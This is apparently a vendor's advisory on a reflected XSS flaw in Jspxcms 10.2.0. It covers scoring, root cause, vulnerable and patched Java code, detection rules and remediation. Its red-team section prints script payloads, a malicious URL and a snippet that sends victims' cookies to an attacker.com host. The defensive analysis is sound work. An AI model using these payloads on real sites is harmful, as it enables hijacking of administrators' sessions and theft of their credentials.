CVE-2024-1256
Executive Summary
CVE-2024-1256 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in Jspxcms version 10.2.0. The flaw exists in the /ext/collect/filter_text.do endpoint, where user-supplied input is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the Jspxcms admin panel. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a low CVSS score of 3.5 due to the requirement for user interaction, but the public availability of exploit details increases the risk. No official patch has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue within the Jspxcms Java-based web application. The risk is primarily to organizations self-hosting Jspxcms.
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click on the malicious link.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): None – No direct data exfiltration.
- Integrity (I): Low – The attacker can modify content in the victim's browser session.
- Availability (A): None – No impact on system availability.
Threat Level: Low, but with a high likelihood of exploitation due to public PoC. The primary risk is to administrative accounts.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the Jspxcms content management system. The endpoint /ext/collect/filter_text.do is used for text filtering during content collection. The application takes a parameter (likely text or similar) and reflects it directly into the HTML response without proper encoding or sanitization.
Attack Flow:
- An attacker identifies a Jspxcms instance (e.g., via Shodan).
- The attacker crafts a URL like:
http://target.com/ext/collect/filter_text.do?text=<script>alert('XSS')</script> - The attacker sends this link to an authenticated administrator (e.g., via email or social engineering).
- The administrator clicks the link while logged into the Jspxcms admin panel.
- The server returns a page containing the unsanitized script, which executes in the administrator's browser.
- The attacker can now perform actions as the administrator, such as creating new admin accounts, modifying site content, or stealing session cookies.
The root cause is the lack of output encoding. The application likely uses a Java PrintWriter or similar to write the user input directly into the response without using a templating engine that auto-escapes HTML.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a conceptual comparison.
Vulnerable Code (Java Servlet):
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String text = request.getParameter("text");
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("Filtered text: " + text); // Vulnerable: no encoding
out.println("</body></html>");
}
Patched Code (Conceptual):
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String text = request.getParameter("text");
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("Filtered text: " + StringEscapeUtils.escapeHtml4(text)); // Patched: HTML encoding
out.println("</body></html>");
}
The patched version uses StringEscapeUtils.escapeHtml4() (from Apache Commons Lang) to encode special HTML characters like <, >, ", ', and &.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A running instance of Jspxcms 10.2.0 (e.g., in a Docker container or local VM).
- A web browser with developer tools.
Exploit Steps:
- Craft the Payload:
<script>alert(document.cookie)</script> - Encode the Payload (optional, for evasion):
%3Cscript%3Ealert(document.cookie)%3C/script%3E - Construct the Malicious URL:
http://<target-ip>:8080/jspxcms/ext/collect/filter_text.do?text=<script>alert(document.cookie)</script> - Deliver the URL: Send the link to a victim who is logged into the Jspxcms admin panel.
- Execute: When the victim clicks the link, the JavaScript executes, displaying the session cookie.
Advanced Payload (Session Hijacking):
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
This payload sends the victim's cookies to an attacker-controlled server.
Blue Team
Detection:
- Monitor web server logs for requests to
/ext/collect/filter_text.docontaining suspicious parameters (e.g.,<script>,onerror,javascript:). - Use a Web Application Firewall (WAF) to block requests with XSS patterns in the
textparameter. - Implement Content Security Policy (CSP) headers to restrict script execution.
Lab Setup for Testing:
- Deploy Jspxcms 10.2.0: Use a Docker container or manual installation.
- Simulate Attack: Use
curlto send a malicious request:curl "http://localhost:8080/jspxcms/ext/collect/filter_text.do?text=<script>alert(1)</script>" - Verify: Check the response for the unescaped script tag.
- Test WAF: Configure a WAF (e.g., ModSecurity) and verify it blocks the attack.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/ext/collect/filter_text.dowith parameters containing HTML/JavaScript code. - Outbound connections from the Jspxcms server to unknown IP addresses (if exfiltration payload is used).
- HTTP requests to
- File IOCs:
- Suspicious entries in web server access logs (e.g.,
GET /ext/collect/filter_text.do?text=%3Cscript%3E).
- Suspicious entries in web server access logs (e.g.,
- Behavioral IOCs:
- Unexpected creation of new admin accounts in Jspxcms.
- Unauthorized changes to site content or templates.
Detection Engineering
YARA Rule
rule CVE_2024_1256_Jspxcms_XSS {
meta:
description = "Detects exploitation attempts of CVE-2024-1256 in Jspxcms"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1256"
strings:
$xss_pattern1 = "/ext/collect/filter_text.do"
$xss_pattern2 = "<script"
$xss_pattern3 = "onerror"
$xss_pattern4 = "javascript:"
condition:
$xss_pattern1 and any of ($xss_pattern2, $xss_pattern3, $xss_pattern4)
}
Sigma Rule
title: CVE-2024-1256 Jspxcms Reflected XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable Jspxcms endpoint with XSS payloads
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains: "/ext/collect/filter_text.do"
cs-uri-query|contains|any:
- "<script"
- "onerror"
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in text fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1256 Jspxcms Reflected XSS Attempt"; flow:to_server,established; content:"/ext/collect/filter_text.do"; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Implement server-side validation to reject or sanitize input containing HTML/JavaScript.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before being reflected in the response.
- Web Application Firewall (WAF): Deploy a WAF with rules to block XSS patterns in the
textparameter. - Content Security Policy (CSP): Add a CSP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'
Long-Term Fix:
- Upgrade to a patched version of Jspxcms once available.
- Conduct a security audit of the application to identify similar vulnerabilities.
Workaround:
- If patching is not possible, disable the
/ext/collect/filter_text.doendpoint by removing or commenting out the relevant code in the application.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.